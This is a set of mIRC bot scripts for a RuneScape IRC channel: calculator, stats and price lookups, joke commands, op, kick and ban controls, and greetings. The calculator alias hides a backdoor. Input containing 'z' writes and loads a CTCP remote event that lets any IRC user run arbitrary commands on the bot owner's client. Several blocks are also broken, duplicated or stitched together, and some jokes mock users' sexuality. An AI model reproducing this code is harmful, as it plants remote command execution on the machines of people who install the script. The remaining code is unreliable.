on $*:text:/^[!@]calc */Si:#: { 
  if (!$2) { notice $nick No equation entered. | Halt }
  if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick Illegal Letters Detected. Only K for Thousands, M for Millions, B for Billions and  T for Trillions are allowed. | Halt }
  var %send = $iif($left($1,1) == @,msg $chan,notice $nick) 
  %send 2 $+($2-,3) =7 $acalc($2-)
} 
alias Acalc { 
  tokenize 32 $remove($1-,$chr(44),$chr(32)) 
  var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1- 
  while (%i <= %matches) { 
    var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i))) 
    inc %i 
  } 
  if (k isin %calculate) { 
    var %x = 1, %total = $pos(%calculate,k,0) 
    while (%x <= %total) { 
      var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1 
      while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen } 
      var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos) 
      inc %x 
    } 
  } 
  if (m isin %calculate) { 
    var %x = 1, %total = $pos(%calculate,m,0) 
    while (%x <= %total) { 
      var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1 
      while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen } 
      var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos) 
      inc %x 
    } 
  } 
  if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc } 
  if (y isin %calculate) { unload -rs mirc }
  var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000) 
  var %answer = $bytes($calc(%calculate),db) 
  return %answer 
}
______________________________________________
dialog Stats {
  title "RuneScape Stats Lookup"
  size -1 -1 210 197
  option dbu
  box "Stats", 2, 0 0 210 175
  list 1, 2 8 206 165, size
  edit "", 3, 70 175 75 10, center
  button "Check User", 4, 90 186 35 10, default
  menu "&File", 5
  item "Settings", 6, 5
  item break, 7, 5
  item "E&xit", 8, 5, ok
}
{
  title "RuneScape Stats Lookup"
  size -1 -1 210 197
  option dbu
  box "Stats", 2, 0 0 210 175
  list 1, 2 8 206 165, size
  edit "", 3, 70 175 75 10, center
  button "Check User", 4, 90 186 35 10, default
  menu "&File", 5
  item "Settings", 6, 5
  item break, 7, 5
  item "E&xit", 8, 5, ok
}
on $*:TEXT:/^[!@]stats .{1,12}$/Si:*:{
  ;################################
  ;# CHANGE  THE  NUMBER  IN  THE #
  ;# VARIABLE  BELOW TO  EDIT THE #
  ;#  COLOR  USED  IN  MESSAGES.  #
  ;################################

  set %_lookupmsgcol 4

  ;################################

  inc %_lookups 1
  set $+(%,lookup.,%_lookups) $replace($2-,$chr(32),+) $iif($chan,$iif($left($1,1) == @,msg $chan,notice $nick),msg $nick)
  sockopen $+(lookup.,%_lookups) www.rscript.org 80
}
on *:SOCKOPEN:lookup.*:{
  sockwrite -nt $sockname GET /lookup.php?type=stats&user= $+ $gettok($($+(%,lookup.,%_lookups),2),1,32) HTTP/1.0
  sockwrite -nt $sockname User-Agent: RuneScript Public (Crawler Bot; rscript.org;)
  sockwrite -nt $sockname Host: rscript.org $+ $crlf $+ $crlf
}
on *:SOCKREAD:lookup.*:{
  var %id = $right($sockname,-7)
  var %username = $gettok($($+(%,lookup.,%id),2),1,32)
  var %target = $gettok($($+(%,lookup.,%id),2),2-,32)
  if ($sockerr) { %target Socket error: $sockerr (BUILD ID: %id $+ ) }
  else {
    var %read | sockread %read
    tokenize 32 $remove(%read,Stat:)
    if ($0 == 4) { set $+(%,lookupmsg.,%id) $($+(%,lookupmsg.,%id),2) $chr(124) $+($1,:) $_col($3) }
    elseif (Not Ranked isin $1-) { return }
    elseif ($($+(%,lookupmsg.,%id),2)) { %target Stats for $replace($_col(%username),+,$chr(32)) $+ : $right($($+(%,lookupmsg.,%id),2),-2) | sockclose $sockname | unset %lookup* }
  }
}
alias _col { return $+($chr(3),$iif(%_lookupmsgcol isnum 0-15,$iif($len(%_lookupmsgcol) == 2,%_lookupmsgcol,$+(0,%_lookupmsgcol)),07),$1-,$chr(3)) }
________________________________________________________
} 
ON $*:TEXT:/^[!@.]8ball*/Si:*:{
  /set %8ball $rand(1,6) 
  if (%8ball == 1) .msg $chan 4No! 
  if (%8ball == 2) .msg $chan 4Yes 
  if (%8ball == 3) .msg $chan 4Maybe 
  if (%8ball == 4) .msg $chan 4of course 
  if (%8ball == 5) .msg $chan 4Are you crazy?!?! 
  if (%8ball == 6) /msg $chan 4How should I know? 
}
____________________________________
_____________________________________
on $*:text:/^[!@.]slap*/Si:#: {
  /set %8ball $rand(1,14) 
  if (%8ball == 1) .describe $chan slaps $2 with a Abbysal whip
  if (%8ball == 2) .describe $chan  slaps $2 with a 2ez1pure
  if (%8ball == 3) .describe $chan  slaps $2 with a Defiler (level 100) 
  if (%8ball == 4) .describe $chan  slaps $2 with a Guthans warspear (100) 
  if (%8ball == 5) .describe $chan  slaps $2 with a Rune Essence
  if (%8ball == 6) .describe $chan  slaps $2 with a Ddp++
  if (%8ball == 7) .describe $chan  slaps $2 with a Dragon 2hand
  if (%8ball == 7) .describe $chan  slaps $2 with a Ring of charos(a)
  if (%8ball == 8) .describe $chan  slaps $2 with a rune plateskirt (g)
  if (%8ball == 9) .describe $chan  slaps $2 with a Burnt lobster
  if (%8ball == 10) .describe $chan slaps $2 with a Wizard hat (g)
  if (%8ball == 11) .describe $chan slaps $2 with a Dharoks great axe (75)
  if (%8ball == 12) .describe $chan slaps $2 with a Void knight
  if (%8ball == 13) .describe $chan slaps $2 with  2\3 of a chocolate cake
  if (%8ball == 14) .describe $chan slaps $2 with a Green boater
}
_____________________________________________
ON $*:TEXT:/^[!@.]penistest*/Si:*:{

  /set %8ball $rand(1,5) 
  if (%8ball == 1) .msg $chan  wow, $2 How do u live with such a small thing?
  if (%8ball == 2) .msg $chan  woah, $2 it's so huge!!
  if (%8ball == 3) .msg $chan  hmm, $2 i might need a magnifier
  if (%8ball == 4) .msg $chan  OMG, $2 ITS A MONSTER
  if (%8ball == 5) .msg $chan  OMG, $2 ITS really small from lummy
}
__________________________________________________
ON $*:TEXT:/^[!@.]gaymeter*/Si:*:{
  /set %8ball $rand(1,100)
  if (%8ball == 1) .msg $chan hmm $2 is 1% gay
  if (%8ball == 2) .msg $chan hmm $2 is 2% gay
  if (%8ball == 3) .msg $chan hmm $2 is 3% gay 
  if (%8ball == 4) .msg $chan hmm $2 is 4% gay
  if (%8ball == 5) .msg $chan hmm $2 is 5% gay
  if (%8ball == 6) .msg $chan hmm $2 is 6% gay
  if (%8ball == 7) .msg $chan hmm $2 is 7% gay
  if (%8ball == 8) .msg $chan hmm $2 is 8% gay
  if (%8ball == 9) .msg $chan hmm $2 is 9% gay
  if (%8ball == 10) .msg $chan hmm $2 is 10 %gay
  if (%8ball == 11) .msg $chan hmm $2 is 11% gay
  if (%8ball == 12) .msg $chan hmm $2 is 12% gay
  if (%8ball == 13) .msg $chan hmm $2 is 13% gay
  if (%8ball == 14) .msg $chan hmm $2 is 14 % gay
  if (%8ball == 15) .msg $chan hmm $2 is 15% gay
  if (%8ball == 16) .msg $chan hmm $2 is  16% gay
  if (%8ball == 17) .msg $chan hmm $2 is 17% gay
  if (%8ball == 18) .msg $chan hmm $2 is 18% gay
  if (%8ball == 19) .msg $chan hmm $2 is 19% gay
  if (%8ball == 20) .msg $chan hmm $2 is 20% gay
  if (%8ball == 21) .msg $chan hmm $2 is 21% gay
  if (%8ball == 22) .msg $chan hmm $2 is 22% gay
  if (%8ball == 23) .msg $chan hmm $2 is 23% gay   
  if (%8ball == 24) .msg $chan hmm $2 is 24% gay
  if (%8ball == 25) .msg $chan hmm $2 is 25% gay
  if (%8ball == 26) .msg $chan hmm $2 is 26% gay
  if (%8ball == 27) .msg $chan hmm $2 is 27% gay
  if (%8ball == 28) .msg $chan hmm $2 is 28% gay
  if (%8ball == 29) .msg $chan hmm $2 is 29% gay
  if (%8ball == 30) .msg $chan hmm $2 is 30% gay
  if (%8ball == 31) .msg $chan hmm $2 is 31% gay
  if (%8ball == 32) .msg $chan hmm $2 is 32% gay
  if (%8ball == 33) .msg $chan hmm $2 is 33% gay
  if (%8ball == 34) .msg $chan hmm $2 is 34% gay
  if (%8ball == 35) .msg $chan hmm $2 is 35% gay
  if (%8ball == 36) .msg $chan hmm $2 is 36% gay
  if (%8ball == 37) .msg $chan hmm $2 is 37% gay
  if (%8ball == 38) .msg $chan hmm $2 is 38% gay
  if (%8ball == 39) .msg $chan hmm $2 is 39% gay
  if (%8ball == 40) .msg $chan hmm $2 is 40% gay
  if (%8ball == 41) .msg $chan hmm $2 is 41% gay
  if (%8ball == 42) .msg $chan hmm $2 is 42% gay
  if (%8ball == 43) .msg $chan hmm $2 is 43% gay
  if (%8ball == 44) .msg $chan hmm $2 is 44% gay
  if (%8ball == 45) .msg $chan hmm $2 is 45% gay
  if (%8ball == 46) .msg $chan hmm $2 is 46% gay
  if (%8ball == 47) .msg $chan hmm $2 is 47% gay
  if (%8ball == 48) .msg $chan hmm $2 is 48% gay
  if (%8ball == 49) .msg $chan hmm $2 is 49% gay
  if (%8ball == 50) .msg $chan hmm $2 is 50    % gay
  if (%8ball == 51) .msg $chan hmm $2 is 51% gay
  if (%8ball == 52) .msg $chan hmm $2 is 52% gay
  if (%8ball == 53) .msg $chan hmm $2 is 53% gay
  if (%8ball == 54) .msg $chan hmm $2 is 54% gay
  if (%8ball == 55) .msg $chan hmm $2 is 55% gay
  if (%8ball == 56) .msg $chan hmm $2 is 56 % gay
  if (%8ball == 57) .msg $chan hmm $2 is 57% gay
  if (%8ball == 58) .msg $chan hmm $2 is 58% gay
  if (%8ball == 59) .msg $chan hmm $2 is 59% gay
  if (%8ball == 60) .msg $chan hmm $2 is 60% gay
  if (%8ball == 61) .msg $chan hmm $2 is 61% gay
  if (%8ball == 62) .msg $chan hmm $2 is 62% gay
  if (%8ball == 63) .msg $chan hmm $2 is 63% gay
  if (%8ball == 64) .msg $chan hmm $2 is 64 % gay
  if (%8ball == 65) .msg $chan hmm $2 is 65% gay
  if (%8ball == 66) .msg $chan hmm $2 is 66% gay
  if (%8ball == 67) .msg $chan hmm $2 is67% gay
  if (%8ball == 68) .msg $chan hmm $2 is68% gay
  if (%8ball == 69) .msg $chan hmm $2 is  69% gay
  if (%8ball == 70) .msg $chan hmm $2 is70% gay
  if (%8ball == 71) .msg $chan hmm $2 is71% gay
  if (%8ball == 72) .msg $chan hmm $2 is72% gay
  if (%8ball == 73) .msg $chan hmm $2 is 73% gay
  if (%8ball == 74) .msg $chan hmm $2 is 74% gay
  if (%8ball == 75) .msg $chan hmm $2 is 75% gay
  if (%8ball == 76) .msg $chan hmm $2 is 76% gay
  if (%8ball == 77) .msg $chan hmm $2 is 77% gay
  if (%8ball == 78) .msg $chan hmm $2 is 78% gay
  if (%8ball == 79) .msg $chan hmm $2 is 79% gay
  if (%8ball == 80) .msg $chan hmm $2 is 80% gay
  if (%8ball == 81) .msg $chan hmm $2 is 81% gay
  if (%8ball == 82) .msg $chan hmm $2 is 82% gay 
  if (%8ball == 83) .msg $chan hmm $2 is 83% gay
  if (%8ball == 84) .msg $chan hmm $2 is 84% gay
  if (%8ball == 85) .msg $chan hmm $2 is 85% gay
  if (%8ball == 86) .msg $chan hmm $2 is 86% gay
  if (%8ball == 87) .msg $chan hmm $2 is 87% gay
  if (%8ball == 88) .msg $chan hmm $2 is 88% gay
  if (%8ball == 89) .msg $chan hmm $2 is 89% gay
  if (%8ball == 90) .msg $chan hmm $2 is 90% gay
  if (%8ball == 91) .msg $chan hmm $2 is 91% gay
  if (%8ball == 92) .msg $chan hmm $2 is 92% gay
  if (%8ball == 93) .msg $chan hmm $2 is 93% gay
  if (%8ball == 94) .msg $chan hmm $2 is 94% gay
  if (%8ball == 95) .msg $chan hmm $2 is 95% gay
  if (%8ball == 96) .msg $chan hmm $2 is 96% gay
  if (%8ball == 97) .msg $chan hmm $2 is 97% gay
  if (%8ball == 98) .msg $chan hmm $2 is 98 % gay
  if (%8ball == 99) .msg $chan hmm $2 is 99% gay
  if (%8ball == 100) .msg $chan hmm $2 is 100% gay
}
on *:text:!setpc*:#:{
  set %chann #final-fate
  if ($nick isop %chann) {
    if ($chan == %chann) {
      set %world $2-
      .notice $nick 1A new Pc World has been set: %world .
      /amsg 4 [ 1 PC WORLD 4 ]1 A New Pc World has been set type !pcw for it:. 1
    }
  }
  else { .notice $nick 1You cant set a new pc world.1 }
}

on $*:text:/^[!@.]pcw */S:*:{
  set %send $iif($left($1,1) == @,msg $chan,notice $nick)
  %send 1The current pc world is: %world
}

on *:text:!pcglobal*:#:{
  set %chan #final-fate
  if ($nick isop %chan) {
    /amsg 4[1PC WORLD4]1:97  The current pc world is: %world
    /amsg Script by [SFD][-Kicker_0f_n00bs-] (#final-fate)
  }
  else {
    .notice $nick 1 Debes ser Op de #final-fate para poder enviar estos mensajes 1
    unset %chan
  }
}
____________________________________________________-
;##########################################################
;##            Multi Socket Price Script                 ##
;##             Coded by : Crossfire39                   ##
;## Uses multiple sockets so several users can use the   ##
;## code at the same time. Also displays multiple        ##
;## results from zybez.net price database.               ##
;## Usage:                                               ##
;## !Price <item> - Private                              ##
;## @Price <item> - Public                               ##
;##########################################################

on $*:text:/^[!@]price(s|check)*/Si:#: {
  if ( !$2 ) { notice $nick Sorry you must specify what to search for - !price <item> }
  else {
    /var %number 1
    while ($sock(price.socket. $+ %number)) { /inc %number }
    if (!* iswm $1) { /set %price.displaystyle. [ $+ [ %number ] ] private }
    /set %price.item. [ $+ [ %number ] ] $2-
    /set %price.nick. [ $+ [ %number ] ] $nick
    /set %price.chan. [ $+ [ %number ] ] $chan
    /sockopen $+(price.socket.,%number) zybez.net 80
  } ;Closes Else
} ;Ends the !pricecheck section

on *:sockopen:price.socket.*:{
  sockwrite -nt $sockname GET /priceguide.php?search_terms= $+ $replace(%price.item. [ $+ [ $right($SockName,-13) ] ] ,$chr(32),$chr(43)) $+ &search_area=1&price_low=&price_high=&member=1 HTTP/1.1
  sockwrite -nt $sockname Host: zybez.net
  sockwrite -nt $sockname $crlf $crlf
}

on *:sockread:price.socket.*:{
  var %i $right($sockname,-13)
  if ($sockerr) { /notice %price.nick. [ $+ [ %i ] ] Sorry but an error occured while searching for %price.item. [ $+ [ %i ] ] | halt }
  else {
    var %temptext
    sockread %temptext
    ;Once bot gets the Item + Price which is represented my %readnextline == 2, it runs this to display the results for the user then restarts the whole proccess.

    if (%readnextline == 2) {
      /inc %price.displayed. [ $+ [ %i ] ]
      /var %price.displayprice $htmlfree(%temptext)
      /var %message %price.displayitem. [ $+ [ %i ] ] - %price.displayprice
      /unset %readnextline

      ; Limits how many items are displayed before it stops reading. Prevents the bot from flooding.
      if ( %price.displayed. [ $+ [ %i ] ] < 6 ) {
        if ( %price.displaystyle. [ $+ [ %i ] ] == private ) { /notice %price.nick. [ $+ [ %i ] ] %message }
        else { /msg %price.chan. [ $+ [ %i ] ] %message }
      } ; Closes if statement - if ( %price.displayed. [ $+ [ %i ] ] < 6 )
      else { /notice %price.nick. [ $+ [ %i ] ] Sorry but your search for " $+ %price.item. [ $+ [ %i ] ] $+ " was not specific enough. Please narrow your searh down, ie: Rune --> Rune Platelegs | /sockclose $+(price.socket.,%i) | /unset %price.*. [ $+ [ %i ] ] } 
    } ; Closes if statement - if (%readnextline == 2)

    if (%readnextline == 1) { /set %price.displayitem. [ $+ [ %i ] ] $htmlfree(%temptext) | /set %readnextline 2 }
    if ( *<img src="/img/member.gif"* iswm %temptext || <td class="tablebottom"><!-- Blank --></td> isin %temptext) { /set %readnextline 1 }
    if (*Your search did not * iswm %temptext) { /notice %price.nick. [ $+ [ %i ] ] Sorry I did not find " $+ %price.item. [ $+ [ %i ] ] $+ " in the Zybez database. Please make sure you spelled everything correctly and the item you are searching for exists in Runescape. }
  } ; Closes else
} ;Ends the sockread section

on *:sockclose:price.socket.*:{ /unset %price.*. [ $+ [ $right($SockName,-13) ] ] }

alias -l htmlfree {
  ; Cleans all html from a file
  var %x, %i = $regsub($1-,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  return %x
} ;Ends the html cleaner alias
__________________________________________________
off *:join:#: { mode $chan +v $nick }
________________________________________________
ON $*:TEXT:/^[!@.]lovemeter*/Si:*:{
  /set %8ball $rand(1,29)
  if (%8ball == 1) .msg $chan aww $2 and $3 are 1% in 4love
  if (%8ball == 2) .msg $chan aww $2 and $3 are 2% in 4love
  if (%8ball == 3) .msg $chan aww $2 and $3 are 3% in 4love
  if (%8ball == 4) .msg $chan aww $2 and $3 are 4% in 4love
  if (%8ball == 5) .msg $chan aww $2 and $3 are 5% in 4love
  if (%8ball == 6) .msg $chan aww $2 and $3 are 6% in 4love
  if (%8ball == 7) .msg $chan aww $2 and $3 are 7% in 4love
  if (%8ball == 8) .msg $chan aww $2 and $3 are 8% in 4love
  if (%8ball == 9) .msg $chan aww $2 and $3 are 9% in 4love
  if (%8ball == 10) .msg $chan aww $2 and $3 are 10% in 4love
  if (%8ball == 11) .msg $chan aww $2 and $3 are 11% in 4love
  if (%8ball == 12) .msg $chan aww $2 and $3 are 12% in 4love
  if (%8ball == 13) .msg $chan aww $2 and $3 are 13% in 4love
  if (%8ball == 14) .msg $chan aww $2 and $3 are 14% in 4love
  if (%8ball == 15) .msg $chan aww $2 and $3 are 15% in 4love
  if (%8ball == 16) .msg $chan aww $2 and $3 are 16% in 4love
  if (%8ball == 17) .msg $chan aww $2 and $3 are 17% in 4love
  if (%8ball == 18) .msg $chan aww $2 and $3 are 18% in 4love
  if (%8ball == 19) .msg $chan aww $2 and $3 are 19% in 4love
  if (%8ball == 10) .msg $chan aww $2 and $3 are 20% in 4love
  if (%8ball == 21) .msg $chan aww $2 and $3 are 21% in 4love
  if (%8ball == 22) .msg $chan aww $2 and $3 are 22% in 4love
  if (%8ball == 23) .msg $chan aww $2 and $3 are 23% in 4love
  if (%8ball == 24) .msg $chan aww $2 and $3 are 24% in 4love
  if (%8ball == 25) .msg $chan aww $2 and $3 are 25% in 4love
  if (%8ball == 26) .msg $chan aww $2 and $3 are 26% in 4love
  if (%8ball == 27) .msg $chan aww $2 and $3 are 27% in 4love
  if (%8ball == 28) .msg $chan aww $2 and $3 are 28% in 4love
  if (%8ball == 29) /msg $chan aww $2 and $3 are 29% in 4love


}
________________________________________________
on $*:text:/^[!@.>~]deop */Si:#: { if ($nick isop $chan) { mode $chan -o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]dehalfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -h $iif($2,$2,$nick) } }
________________________________________________________
on $*:text:/^[!@.>~]devoice */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -v $iif($2,$2,$nick) } }
_________________________________________________________________________
on $*:text:/^[!@.>~]op */Si:#: { if ($nick isop $chan { mode $chan +o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]halfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan +h $iif($2,$2,$nick) } }
________________________________________________________
on $*:text:/^[!@.>~]voice */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan +v $iif($2,$2,$nick) } }
____________________________________________________________
on $*:text:/^[!@.>~]deop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]dehalfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -h $iif($2,$2,$nick) } }
________________________________________________________
on *:text:!k *:#: { if (($nick isop $chan) || ($nick ishop $chan)) { kick $chan $2 }
}

_______________________________________________________
ON *:TEXT:!kb*:#:{
  if ($nick isop $chan) || ($nick ishop $chan) {
    /ban $chan $2 $adress($2,2)
    kick $chan $2 $3-
    notice $nick 1 $2 has been kbed for: $3-
  }
  else {
    notice $nick 1 Trying to kb someone eh?... 1
  }
}
_____________________________________________________________
ON *:TEXT:!unban*:#:{
  if ($nick isop $chan) || ($nick ishop $chan) {
    /ban -r $chan $2 $adress($2,2)
    notice $nick 1 $2- has been unbaned. 1
  }
  else {
    notice $nick 1 Trying to unban someone eh?... 1
  }
} 
_________________________________________________________________
ON *:join:#:{
  /hload greet greet.htb
  if ($Hget(greet,$address($nick,3))) { MSG $Chan $+(4[3,$nick,4]1) ::: $ifmatch }
  /hsave -stnoa greet greet.htb
}
on *:text:!greetmake*:*:{
  set %mynick HERE U PUT UR NICK
  if ($nick == %mynick) {
    /HMake Greet | BackUPStart
    /hsave -stnoa greet greet.htb
    notice $nick 1 The hash tables have been made.1
  }
  else {
  }
}
on $*:text:/^[!@.>~](setgreet|greet) */Si:#: {
  if (!$2) { .notice $nick 1You must specify a GREET.1 | halt }
  else {
    HAdd Greet $address($nickThe greet, $2- $+ , has been added for the host: $address($nick,3) 1
    /hsave -stnoa greet greet.htb
    Halt
  }
}
on *:start:hload greet greet.htb
ALIAS BackUPStart { timer 0 1000 HSave Greet }

ON *:TEXT:!unsetgreet*:#:{
  set %nick HERE U PUT UR NICK
  if ($nick == %nick) {
    set %adress $address($2,3) $2-
    /hload Greet greet.htb
    /hdel -sw greet %adress
    /hsave -stnoa greet greet.htb
    notice $nick 1Greet of adress: %adress has been unseted.1
  }
  else {
    notice $nick 1 You cant unset greets.1
  }
}
_________________________________________________